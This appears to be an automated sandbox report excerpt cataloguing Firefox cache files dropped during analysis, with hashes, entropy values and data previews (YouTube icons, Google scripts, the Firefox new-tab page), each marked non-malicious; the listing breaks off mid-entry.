Preview:	..........=....0.D.e...f.F.zh...{A1.V...__#R..c...........M.)...c...d"..!.6]k])X.X.._.....!t...=...B]..b.[.:.........,"EOe0.C......'.`.....$h.^#....H!...lBVE8\.............p.........e.dqe.dqFv..g.@....h....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/clock/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0z

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C5658B5685DF72437813C7814625E1F931F14709

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2868903936
Category:	dropped
Size (bytes):	9591
Entropy (8bit):	6.167851863308342
Encrypted:	false
SSDEEP:	192:EbhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEp9Ep1:RzwHUL75Vf8eehqrufWWCt2BVlGi
MD5:	3F0C813CF96F60A07F74B5EE46586DC5
SHA1:	BFFEDC4C5A807EA0674F3C7793549C219A7FAEEE
SHA-256:	72DECB2A204D2C535EE7E09C3E49632276EB933BAA1832A13305416B74E31D5C
SHA-512:	507C3B2B6AA367C65FF34F27B2B094E0691DD24F1BA3431B3074AC46241428AFD406E885C1F5DF7D2BCD6EAADA6F4A6E12080FBEAE6117BD6EB9B6E474558B68
Malicious:	false
Reputation:	unknown
Preview:	..........=.=..0....w._.......4.X..J._oq0w....r...=.[.......)...........x."CX..j..5..I....<.\W8..E.,....:\.M.."....S.S..t....D..K"........k.....D^c. ...S...c....d.j...........e.due.dvFv..g......p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/play_arrow/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C59623DFD272594D4978BDC54FB6DD5C70DE242C

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3087007744
Category:	dropped
Size (bytes):	9605
Entropy (8bit):	6.165181466311889
Encrypted:	false
SSDEEP:	192:6HhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEBEC:lzwHUL75Vf8eehqrufWWCt2BVlil
MD5:	8889808F2D818D000E8254BBC6AE7A02
SHA1:	041EEA8C4C1BE58297D201D26088054995D23B6D
SHA-256:	C66F33B376C54B246B7241701E7F38C2804389E1335FC7CB00393726EDD920CF
SHA-512:	7FBF10FDFAB201E275B0C9BAC4D5E968C39B21CFCCADE1B236B9376CA0C3CCEB709793AE99DEA7BB477C7189595CF76289059286F50BC6BDAE378074ACAA9CA0
Malicious:	false
Reputation:	unknown
Preview:	..........U....0.E..=/y..IQ.N..v/(F.*5...K.......}._k.B..M...&...JJ)N.A.>....6t.>... Aep.4.1\|.2_.1@[.I)...z.h.BokB..A..m....Wi.v$...3..!.~$....A..7..?k~Zek...L..u.....<D.....]&#&v........e.dqe.dqFv..g..}...o....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/clapperboard/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6c

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C6CABF14F9A25698F72A68D21041FBE5CC0D77B2

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3019964416
Category:	dropped
Size (bytes):	9854
Entropy (8bit):	6.288947318270755
Encrypted:	false
SSDEEP:	192:MhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBEzEr:1zwHUL75Vf8eehqrufWWCt2BVBwQ
MD5:	50D5A12F2D75EE985ED291F97CE642CF
SHA1:	25A178987813F3B27849D78F83A136B7B1D78AF5
SHA-256:	4F12E7E712C0876BF472B6471A4D9620E4CF7484F2A372DBD284772A5CF1B820
SHA-512:	52EDC1154FE6F9FB3017ACBC7C7F4C57B2B4DF0A89841099E23DB9707DCD44C6DFBDD5A5B510305C1512887CDCFC8681BDEDB3A2D9CFF8BD91F16CEFE7BCCDBD
Malicious:	false
Reputation:	unknown
Preview:	..........\..n.J.._...C.9?.q...d.}..vP..bW.....(...H...;......t.l......f.,.....~.)..e...;..N;~}...?.?Oo..[(Q"5R..{....!...n......./.o...~\|.x...m;<.......a}L$..L..&dP.T.!W..B.m...l(pEkqK)2).2...;..BF'.2R....%.{f..5...!....0.....T.&.f(.........n..=`V..1h..DH......zh.D.r{vT'q$......:+.~.hefC..4.#G...Amd(#...z/...(..sz.&..$...i.I.kB.#+R .....+;4.g..H......Q.3........9D.{.nf..b.A..X. .2...M+]...S..l..a.../..W.......(D.......,s.........e.dve.dvFv..g.}....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/shield/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C886C15B36E63849FB9E86DCC97456303F590459

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.858421392346514
Encrypted:	false
SSDEEP:	3:cU/2jJEa8t+lljXvX3XDkDKVJ3uDVX8sX3uOX8sXzLWzQ//tsXzISLIDUXmQN+fc:cUpLojXDkw+qsH3X8sXWzgtsDvLIIXmI
MD5:	2AF265488CD78474C9B292930B28A8EB
SHA1:	DF0272837B3EA3AF97A73CB373DC3CB723B84349
SHA-256:	E89186BD6160C80BEC9A6594EC3B09A98F3AB327C05CE128A3FB12442B9A04ED
SHA-512:	92D3E1D7FE756E2D38776E000D8BC8971568C8B9F5A530D39C5D8E9AB2C21FB2311995F3F0EFC8C255CCCF3CBC5A2D1572EE501CD7CF014FEF14EA9BC4B70044
Malicious:	false
Reputation:	unknown
Preview:	(..q........e.dNe.dNFx........./....~predictor-origin,:https://accounts.google.com/.predictor::seen.1.predictor::resource-count.1.predictor::https://www.google.com/.1,1,1705534542,4096.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\CA37BFC663E2DA707D01D23FECB842E12EE71863

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9456
Entropy (8bit):	6.190504611244363
Encrypted:	false
SSDEEP:	192:2FEhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmW5r5I:2FtzwHUL75Vf8eehqrufWWCt2BVm1
MD5:	D22117B438F4E6C75D68D73CC3906B81
SHA1:	CD5EA576612F386C164BD9EC8C76EAA91B24A6C7
SHA-256:	16053DD3818E5B9CA6641644F725CD54EE98B10D4BD07A4337E15C8F13185C87
SHA-512:	86DB14909BD33F5B5131C5825138D58B011FB221ACE97E00E685F2DDA4900985F5D3E9941DB9331CCBE36207163AC28A43A60564B08874D7BD51B337174F2FD1
Malicious:	false
Reputation:	unknown
Preview:	....a..E...%......e6.P.l_.....t..>L.].t.5L2...L2w...\|..'..'..{sI.\.....>...c...@.G..b........:..RiK..Q.....<..>-"F......#.!..\/E...&q.<.*..$....m5..e....p...@1r.....rN(..I...2.X.b..'.!t...\...g..n.........e.due.dvFv..g.q.........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/unplugged_logo/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\CDE7478EB6E69ABEB0D1DB78BD7AF59AC84092F0

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1210)
Category:	dropped
Size (bytes):	93365
Entropy (8bit):	5.725445011370781
Encrypted:	false
SSDEEP:	1536:w/Q5Up0BWTFRcxRpIoMwetxBJ9YDf4YRPlF/hyqqR4Qj2x5Jpmk8VGd:87mM1OxA05JR8W
MD5:	7698F48DEAB54AEA735A5117A65995E1
SHA1:	C401A98AF18202632BE0D96EBD24D9DE7C1FFC66
SHA-256:	9A794BF3DFD0928BF88517B5AD288BDBF2A61152F166A3F960016F14E120DA36
SHA-512:	1EE24EA882DB152E2FEE9FF42BE27A2270B0C45DA5E7552375B8E39A6AD3BED5650BFB2310C647B20DA01D5A5132D13CAE1B79E18D255FDA72D93488E35A0501
Malicious:	false
Reputation:	unknown
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var k;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return{next:aa(a)};throw Error(String(a)+" is not an iterable or ArrayLike");}function q(a){if(!(a instanceof Array)){a=p(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ca=ba(this);function r(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b};/*..Copyright (c) 2016 The Polymer Project Authors. All rights reserved..This code may only be used unde

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\CE86FDBC2B4056E89548F9B04277BB615036962B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2751463424
Category:	dropped
Size (bytes):	9590
Entropy (8bit):	6.164581805896294
Encrypted:	false
SSDEEP:	192:AukHhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEjE+b://zwHUL75Vf8eehqrufWWCt2BVlQpb
MD5:	4B6A56492A2887E490B16317E93FBB62
SHA1:	5FA07088B85E41711974EE206C1B425057748466
SHA-256:	44D0E04C9EA565EED09DCA86583FF30ABD2B782B479BE28169CE11ACBADA33BC
SHA-512:	135F69BFB038240A7B5297159EFFF88BABBBF307A2E4637BCF2B04C82FCED171660825A17077CB09E7F0602A21339D36FE8BF3F704401AB6DBCE197AFD923774
Malicious:	false
Reputation:	unknown
Preview:	...............0.D.e.=...A...S......j......=.of.........^I.....I.Y..eD...@.y...;.q..s=.B@`....!........W=.@.h...#.....L.<.M.....0P.*L..Ci.....Q./...u.....C.....x"=.-........e.dve.dvFv..g......t....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/alert_triangle/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D0F48A0632B6C451791F4257697E861961F06A6F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	35420
Entropy (8bit):	5.085928442373613
Encrypted:	false
SSDEEP:	384:/PtFYceo3KtwnY9nR+eXHxoZ/HJkNTBdHOT5Qhh7veK8t9KZM:Veo3KtwnY9nR+eXHcHJk/dHOTij753M
MD5:	33F899CBBED3032E0947D01A68FABDC2
SHA1:	635BD3E987C78E95635A060AC8EFC41BDE59DCF9
SHA-256:	22740C3FFEA70AD98E37610665D190E8DB7E19B9DF9C9EDE21026E7CBFECF4D4
SHA-512:	5B151F6820521F776C9FC16A248EADE3F2A883DFAFA8E9B109D5554BCED7E607919B8C82530D19DD33FCCF5D0507D98B22792B0BED29B4D8A0A192565D738A52
Malicious:	false
Reputation:	unknown
Preview:	<!doctype html>.<html>. <head>. <meta charset="utf-8">. <meta http-equiv="Content-Security-Policy" content="default-src 'none'; object-src 'none'; script-src resource: chrome:; connect-src https:; img-src https: data: blob: chrome:; style-src 'unsafe-inline';">. <meta name="color-scheme" content="light dark">. <title data-l10n-id="newtab-page-title"></title>. <link rel="icon" type="image/png" href="chrome://branding/content/icon32.png"/>. <link rel="localization" href="branding/brand.ftl" />. <link rel="localization" href="toolkit/branding/brandings.ftl" />. <link rel="localization" href="browser/newtab/newtab.ftl" />. <link rel="stylesheet" href="chrome://browser/content/contentSearchUI.css" />. <link rel="stylesheet" href="chrome://activity-stream/content/css/activity-stream.css" />. </head>. Cached: Wed, 17 Jan 2024 23:35:42 GMT -->. <body class="activity-stream">. <div id="header-asrouter-container" role="presentation"></div>. <div id="r

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D46BC1758499FE15E542E5817BDC9A04E6F45F72

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3405774848
Category:	dropped
Size (bytes):	9623
Entropy (8bit):	6.187693870777983
Encrypted:	false
SSDEEP:	192:w8hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEEREEA:wFzwHUL75Vf8eehqrufWWCt2BVl5R5A
MD5:	F109D5BB85F333B2632705025B3F30B6
SHA1:	9935723A85AF17794F0576F9EC74130ACC616AD9
SHA-256:	5CA13A62F3AD1C0CDC7D344DF4A496E547CEE8A7A3D64D73EAC9E94494DC6C73
SHA-512:	862C9C0CB8984A4E71DD2611049946E215C19D4852DD580923E2FE359CFF29E303CDA49CC305BD379BD9C872C0D8FB4B5F33395D8071D5A54701EB45F559466B
Malicious:	false
Reputation:	unknown
Preview:	..........-.1..0........JNm.&.&......q.k. ~=I{..>.=Kv7..^...7.......}........M....H.-.......@....u...y.....}..Q.$..P.mBV.n..H...........bI......pmp.........'x*{...i...=1...2l...........S._%........s.........e.dqe.dqFv..g.k....p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/add_circle/v3/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQ

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D5052E7A8F8996EEEF827AA5FDEA92E6A61C7794

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8044
Entropy (8bit):	6.0373025020248265
Encrypted:	false
SSDEEP:	192:HJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpnp:HJxVHydO49aAfU2LkAcb
MD5:	73CCAA2E6302C9B2FAE48D183D599D89
SHA1:	3D23A25A7791EE22475CBB72C7C03175EDEB4A10
SHA-256:	EBEC4FD3206FBBF5B375997D0B80BC9853482C3D06836C1CFAFCF82B89668624
SHA-512:	4FAD0C56F055E72FD514D132DEF93F23F25D2F6F4614F705DADB2D7C666561F8D730DF322CBBC95617983C2E7375F5104C1D69102E43C01A8DF213A958A22745
Malicious:	false
Reputation:	unknown
Preview:	..H........e.dNe.dNFv..e.dN...z....a,~1705534505,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/newtab/1/dd74a7e7-e73b-4ab9-8964-ca5c53c60966.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC4dC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D550D57BCFA88C4195E78095A742FAC7693FC54F

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9385
Entropy (8bit):	6.141473217695517
Encrypted:	false
SSDEEP:	192:vhhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWcl:vKzwHUL75Vf8eehqrufWWCt2BVm7
MD5:	BE4295ADF073FFE85E98A2889619D183
SHA1:	7FCD44FC8B60DC4C01AE0C0F05156F2DC21EEAEE
SHA-256:	8FBC305060446D2A94998A0B90EDEEF2F8A7E7D0693320517C0C123BF5C22A33
SHA-512:	99C5BC5C2717F6A631BF7DD8EBCF55DB0A07E1AF3BA32C3966989744A6F7F8AB4CBF1F09B6A64D72CC297DD68986FC0DB93FCC0B0E54B722C353A4B4B43877C4
Malicious:	false
Reputation:	unknown
Preview:	.....(p..$h8"..z.< .6.Rev& >oh.......~.Ez\|.8.=.Z ...x.H...V....k.Y..(......D.nL...L!Y.0O9.E..R%+....b.Z.\....8.......G?......n.........e.due.duFv..g.U.........O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/offline_download/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D6995E3FEBCA5138CFB7BA0823415FFCFCABDFA8

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	17654
Entropy (8bit):	6.4740579427169775
Encrypted:	false
SSDEEP:	384:IEoev4qzKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVg8W8p:l/vZgdjAudZNL28eehq4w2BV57p
MD5:	F91870661A51C105D854BE78EF923349
SHA1:	3622CBD0B620A0461D33B035DCE564F128F99C83
SHA-256:	D6176FD0ADE30217AC116D00AF6C2397273A5FA3713CA89C33BD5BE754709832
SHA-512:	D64CF975EEF03A3B5476AFDC885648819D3BF1560D417C42856585AFF33BF13A9ECAF2FDEC0AAAC1FA1770228C838AD885F9660A36B5405974E2024A1DB1EDD7
Malicious:	false
Reputation:	unknown
Preview:	... ....Z.4'..;s).24..@...,..J._.(mS..+lgw.;..8.d..t./0( .RT.{ ..J.....].<...Ld.k+......1...1.H}G.J..K..V7=...^..G.(...y6...)....../?..!P..Z.y.........w......O.{ff.b...o.....F..\...S..p..4<.;P..1..i\|x.w..4...`H...n............[I@.......e..Z.X..y...!......R..GI/..}.......Ty..^...y....#./...b.h....j..cW./8:I+...y.3m...Ik...@.Z)..DA.j...T..h...i..U.7k.d.(.Z,.R.G:....d-....v..D.H......U......3.o.J.^....I.%.Z...,...Q.I.R..M..$-o..y..T....H..uI.{R...v..../..VI..f.../o..m....:p2.....@.Y.:fr...W&~..y..P.@....Y...#..0M..4+=!...j.3..i..U...9...2S....P.j.0....k.V/.G.5dcc...a.....2..lL.#`..G.d...+!_`.2.....d.......5...D....u..":.7T......W..V..L.x.0....]+HIAV.\..a0s.S..q.n.#..1.i...Td.`...1..b.S.Z.n.8..8o".e..__0..$..L.I.V}..9!.0...} .Z.j.]........_..u^."t....A...0......../...n@6.b.=....g......!}.......)......./i..Y^.+...N..t......<..t.qg<8.Y..Z....a.aqhd....h...!..\|.0.'.f.5(..80}hk...%.N.]C.2.......]T..}`Ky`.vb....2;..w..........}....j.!..o... .6oW.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\D983405EC2FD72F523C472C128BA635E4996CCD2

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, original size modulo 2^32 3890676480
Category:	dropped
Size (bytes):	272204
Entropy (8bit):	7.990448966149712
Encrypted:	true
SSDEEP:	6144:nl5qXPdy9idKV64eDO4EF1fYhnqaYt2zRJ5P+jWjvPQ:lIXV1dcEOxHrdCR/PVjvPQ
MD5:	C51AF5CA4B783CA7983BE9A437CF1909
